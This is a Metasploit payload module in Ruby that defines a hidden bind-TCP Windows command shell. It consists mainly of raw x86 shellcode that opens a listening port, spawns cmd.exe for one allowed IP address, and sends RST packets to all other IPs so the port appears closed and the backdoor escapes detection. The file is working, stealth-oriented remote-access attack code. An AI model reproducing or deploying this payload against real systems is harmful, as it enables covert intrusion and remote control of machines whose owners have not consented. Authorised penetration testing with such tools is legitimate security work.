##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

  include Msf::Payload::Windows
  include Msf::Payload::Single
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Windows Command Shell, Hidden Bind TCP Inline',
      'Description'   => 'Listen for a connection from certain IP and spawn a command shell.
                          The shellcode will reply with a RST packet if the connections is not
                          comming from the IP defined in AHOST. This way the port will appear
                          as "closed" helping us to hide the shellcode.',
      'Author'        =>
        [
          'vlad902',    # original payload module (single_shell_bind_tcp)
          'sd',         # original payload module (single_shell_bind_tcp)
          'Borja Merino <bmerinofe[at]gmail.com>' # Add Hidden ACL functionality
        ],
      'License'       => MSF_LICENSE,
      'References'    => ['URL', 'http://www.shelliscoming.com/2014/03/hidden-bind-shell-keep-your-shellcode.html'],
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::BindTcp,
      'Session'       => Msf::Sessions::CommandShell,
      'Payload'       =>
        {
          'Offsets' =>
            {
              'LPORT'    => [ 200, 'n' ],
              'AHOST'    => [ 262, 'ADDR' ],
              'EXITFUNC' => [ 363, 'V' ],
            },
          'Payload' =>
      "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b" +
      "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0" +
      "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57" +
      "\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01" +
      "\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b" +
      "\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4" +
      "\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
      "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24" +
      "\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d" +
      "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07" +
      "\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" +
      "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff" +
      "\xd5\x97\x31\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57" +
      "\x68\xc2\xdb\x37\x67\xff\xd5\x6a\x01\x54\x68\x02\x30\x00\x00\x68" +
      "\xff\xff\x00\x00\x57\x68\xf1\xa2\x77\x29\xff\xd5\x53\x57\x68\xb7" +
      "\xe9\x38\xff\xff\xd5\x53\xe8\x17\x00\x00\x00\x8b\x44\x24\x04\x8b" +
      "\x40\x04\x8b\x40\x04\x2d\xc0\xa8\x01\x21\x74\x03\x31\xc0\x40\xc2" +
      "\x20\x00\x53\x53\x57\x68\x94\xac\xbe\x33\xff\xd5\x40\x74\xd6\x48" +
      "\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" +
      "\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c" +
      "\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56" +
      "\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56" +
      "\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68" +
      "\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +
      "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
        }
      ))

    register_options([
      OptAddress.new('AHOST', [true, "IP address allowed", nil])
    ])
  end

end